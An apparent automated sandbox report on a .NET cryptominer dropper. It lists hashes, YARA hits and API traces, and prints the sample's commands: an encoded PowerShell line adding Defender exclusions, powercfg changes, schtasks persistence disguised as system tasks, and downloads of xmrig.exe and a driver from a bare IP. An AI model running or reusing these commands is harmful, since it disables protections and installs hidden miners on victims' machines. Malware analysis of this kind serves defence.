Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Jan. 27, 2025, 4:41 p.m.	Jan. 27, 2025, 4:43 p.m.

Size	21.0KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`c11a82d699a06d9b8ba4296e0c562ae4`
SHA256	`483b1d7dac70de82e9b22a0c1ed775cf7e10b0a3790c5aa1b9215dbcd1754302`
CRC32	`21198B26`
ssdeep	`384:DbjjHZQ3N5ofJHFrybCN906pXtM5PFNwN9zmuM15/ufjWrynX:DbjjHe38BgbGqBFNwvsNe`
PDB Path	C:\Users\Administrator\Desktop\Pch3lkinMinerBuilder\Task32Main\Task32Main\obj\Debug\Task32Main.pdb
Yara	Malicious_Library_Zero - Malicious_Library PE_Header_Zero - PE File Signature Is_DotNET_EXE - (no description) Win32_Trojan_PWS_Net_1_Zero - Win32 Trojan PWS .NET Azorult IsPE32 - (no description) Generic_Malware_Zero - Generic Malware UPX_Zero - UPX packed file

conhost.exe "C:\Users\test22\AppData\Local\Temp\conhost.exe"
2564
- cmd.exe "cmd.exe" /C powershell -EncodedCommand "PAAjAGYAZAB4ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMARABWAGUAZQBIADEAagBNAFoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAcABCAEMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAbQA4AEwAYQB4AFcANwBVAEcAZQBWACMAPgA=" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off
  2764
  - powershell.exe powershell -EncodedCommand "PAAjAGYAZAB4ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMARABWAGUAZQBIADEAagBNAFoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAcABCAEMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAbQA4AEwAYQB4AFcANwBVAEcAZQBWACMAPgA="
    2828
  - powercfg.exe powercfg /x -hibernate-timeout-ac 0
    2924
  - powercfg.exe powercfg /x -hibernate-timeout-dc 0
    2972
  - powercfg.exe powercfg /x -standby-timeout-ac 0
    3016
  - powercfg.exe powercfg /x -standby-timeout-dc 0
    3060
  - powercfg.exe powercfg /hibernate off
    1964
- cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
  2116
  - schtasks.exe SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
    2212
- cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk5327" /TR "C:\ProgramData\Dllhost\dllhost.exe"
  2068

Name	Response	Post-Analysis Lookup
pastebin.com	A 172.67.19.24 A 104.20.4.235 A 104.20.3.235	172.67.19.24

IP Address	Status	Action
164.124.101.2	Active	Moloch
172.67.19.24	Active	Moloch
185.215.113.51	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (10 events)

Time & API	Arguments	Status	Return
GetComputerNameW Jan. 27, 2025, 4:41 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Jan. 27, 2025, 4:41 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Jan. 27, 2025, 4:41 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Jan. 27, 2025, 4:41 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Jan. 27, 2025, 4:41 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Jan. 27, 2025, 4:41 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Jan. 27, 2025, 4:41 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Jan. 27, 2025, 4:41 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Jan. 27, 2025, 4:41 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Jan. 27, 2025, 4:41 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (8 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Jan. 27, 2025, 4:41 p.m.			0	0
IsDebuggerPresent Jan. 27, 2025, 4:41 p.m.			0	0
IsDebuggerPresent Jan. 27, 2025, 4:41 p.m.			0	0
IsDebuggerPresent Jan. 27, 2025, 4:41 p.m.			0	0
IsDebuggerPresent Jan. 27, 2025, 4:41 p.m.			0	0
IsDebuggerPresent Jan. 27, 2025, 4:41 p.m.			0	0
IsDebuggerPresent Jan. 27, 2025, 4:41 p.m.			0	0
IsDebuggerPresent Jan. 27, 2025, 4:41 p.m.			0	0

Command line console output was observed (10 events)

Time & API	Arguments	Status	Return
WriteConsoleW Jan. 27, 2025, 4:41 p.m.	buffer: The term 'Add-MpPreference' is not recognized as the name of a cmdlet, function console_handle: 0x00000023	1	1
WriteConsoleW Jan. 27, 2025, 4:41 p.m.	buffer: , script file, or operable program. Check the spelling of the name, or if a pat console_handle: 0x0000002f	1	1
WriteConsoleW Jan. 27, 2025, 4:41 p.m.	buffer: h was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW Jan. 27, 2025, 4:41 p.m.	buffer: At line:1 char:25 console_handle: 0x00000047	1	1
WriteConsoleW Jan. 27, 2025, 4:41 p.m.	buffer: + <#fdx#> Add-MpPreference <<<< <#DVeeH1jMZ#> -ExclusionPath @($env:UserProfil console_handle: 0x00000053	1	1
WriteConsoleW Jan. 27, 2025, 4:41 p.m.	buffer: e,$env:SystemDrive) <#pBC#> -Force <#m8LaxW7UGeV#> console_handle: 0x0000005f	1	1
WriteConsoleW Jan. 27, 2025, 4:41 p.m.	buffer: + CategoryInfo : ObjectNotFound: (Add-MpPreference:String) [], Co console_handle: 0x0000006b	1	1
WriteConsoleW Jan. 27, 2025, 4:41 p.m.	buffer: mmandNotFoundException console_handle: 0x00000077	1	1
WriteConsoleW Jan. 27, 2025, 4:41 p.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000083	1	1
WriteConsoleW Jan. 27, 2025, 4:41 p.m.	buffer: Hibernation failed with the following error: The request is not supported. The following items are preventing hibernation on this system. The system firmware does not support hibernation. console_handle: 0x0000000b	1	1

Uses Windows APIs to generate a cryptographic key (46 events)

Time & API	Arguments	Status	Return
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e8c50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e9210 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e9210 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e9210 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e9550 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e9550 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e9550 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e9550 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e9550 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e9550 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e90d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e90d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e90d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e9210 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e9210 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e9210 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e8d10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e9210 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e9210 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e9210 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e9210 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e9210 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e9210 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e9210 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e88d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e88d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e88d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e88d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e88d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e88d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e88d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e88d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e88d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e88d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e88d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e88d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e88d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e88d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e8dd0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e8dd0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e8dd0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e8dd0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e8dd0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e8dd0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e8dd0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Jan. 27, 2025, 4:41 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003e8dd0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

This executable has a PDB path (1 event)

pdb_path

C:\Users\Administrator\Desktop\Pch3lkinMinerBuilder\Task32Main\Task32Main\obj\Debug\Task32Main.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Jan. 27, 2025, 4:41 p.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (3 events)

suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://185.215.113.51/xmrig.exe
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://185.215.113.51/WinRing0x64.sys
suspicious_features	GET method with no useragent header	suspicious_request	GET https://pastebin.com/raw/YpJeSRBC

Performs some HTTP requests (3 events)

request	GET http://185.215.113.51/xmrig.exe
request	GET http://185.215.113.51/WinRing0x64.sys
request	GET https://pastebin.com/raw/YpJeSRBC

Allocates read-write-execute memory (usually to unpack itself) (50 out of 168 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2564 region_size: 393216 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00530000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2564 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00550000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2564 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x727a1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2564 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x727a2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2564 region_size: 327680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00990000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2564 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x009a0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2564 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x008d2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2564 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00905000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2564 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0090b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2564 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00907000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2564 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x008ec000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2564 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x008f6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2564 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00af0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2564 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x008da000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2564 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x008fa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2564 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x008f7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2564 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x008ea000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2564 region_size: 327680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0xfff50000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2564 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0xfff50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2564 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0xfff50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2564 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0xfff58000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2564 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0xfff40000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2564 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0xfff40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2564 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00af1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2564 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00af2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2564 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00af3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2564 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00af4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2564 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x008dc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2564 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x008fb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2564 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00af5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2564 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00af6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2828 region_size: 1310720 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02910000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2828 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2828 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6f071000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2828 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0262a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2828 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6f072000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2828 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02622000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2828 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02672000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2828 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a11000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2828 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a12000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2828 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026da000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
